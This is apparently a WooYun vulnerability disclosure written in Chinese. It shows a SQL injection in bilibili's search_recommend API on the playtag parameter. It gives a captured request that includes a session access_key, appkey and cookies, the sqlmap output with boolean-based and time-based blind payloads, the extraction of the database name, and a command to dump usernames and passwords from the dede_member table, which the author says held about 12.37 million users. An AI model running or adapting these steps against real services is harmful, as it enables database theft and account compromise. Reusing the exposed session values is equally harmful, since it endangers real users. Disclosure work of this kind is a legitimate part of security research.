WooYun.org

bilibili的注入真难找呀...
手机代理burp抓包
GET /search_recommend?_device=android&_hwid=3029927d46659793&_ulv=5000&access_key=76b5b9bdfe34bb8e2a809ba718ac5c6e&appkey=c1b107428d337928&main_ver=v2&platform=android&playtag=2634430&recommend_type=related_post&rindex=1&sign=8ec7f03f380c8a0e289698cb4e75985f HTTP/1.1
Host: api.bilibili.com
User-Agent: undefined
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: pgv_pvi=8880050176; fts=1532673349684; sid=d7qjzulp; PLHistory=9bRb%7Cn kQo; DedeID=2190533
Connection: keep-alive
存在问题的地址
http://api.bilibili.com/search_recommend?_device=android&_hwid=3029927d46659793&_ulv=5000&access_key=76b5b9bdfe34bb8e2a809ba718ac5c6e&appkey=c1b107428d337928&main_ver=v2&platform=android&playtag=2634430&recommend_type=related_post&rindex=1&sign=8ec7f03f380c8a0e289698cb4e75985f
send to sqlmap
C:\Users\bin\Desktop\win7\burpsuite_pro\burpsuite_pro_v1.5.18>sqlmap.py -r C:\Us
ers\bin\AppData\Local\Temp\\1438479437091.req --current-db
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 09:46:32
[09:46:32] [INFO] parsing HTTP request from 'C:\Users\bin\AppData\Local\Temp\\14
38479437091.req'
[09:46:32] [INFO] resuming back-end DBMS 'mysql'
[09:46:32] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: playtag
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: _device=android&_hwid=3029927d46659793&_ulv=5000&access_key=76b5b9b
dfe34bb8e2a809ba718ac5c6e&appkey=c1b107428d337928&main_ver=v2&platform=android&p
laytag=2634430 AND 8650=8650&recommend_type=related_post&rindex=1&sign=8ec7f03f3
80c8a0e289698cb4e75985f
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: _device=android&_hwid=3029927d46659793&_ulv=5000&access_key=76b5b9b
dfe34bb8e2a809ba718ac5c6e&appkey=c1b107428d337928&main_ver=v2&platform=android&p
laytag=2634430 AND SLEEP(5)&recommend_type=related_post&rindex=1&sign=8ec7f03f38
0c8a0e289698cb4e75985f
---
[09:46:32] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5.0.11
[09:46:32] [INFO] fetching current database
[09:46:32] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[09:46:32] [INFO] retrieved:
[09:46:34] [WARNING] reflective value(s) found and filtering out
bilibili
current database: 'bilibili'
[09:47:04] [INFO] fetched data logged to text files under 'C:\Users\bin\Desktop\
win7\burpsuite_pro\burpsuite_pro_v1.5.18\output\api.bilibili.com'
跑账户密码
-D bilibili -T dede_member -C username,pwd --dump
测试的时候是存在12372246位用户的。
网速卡不跑了
上张图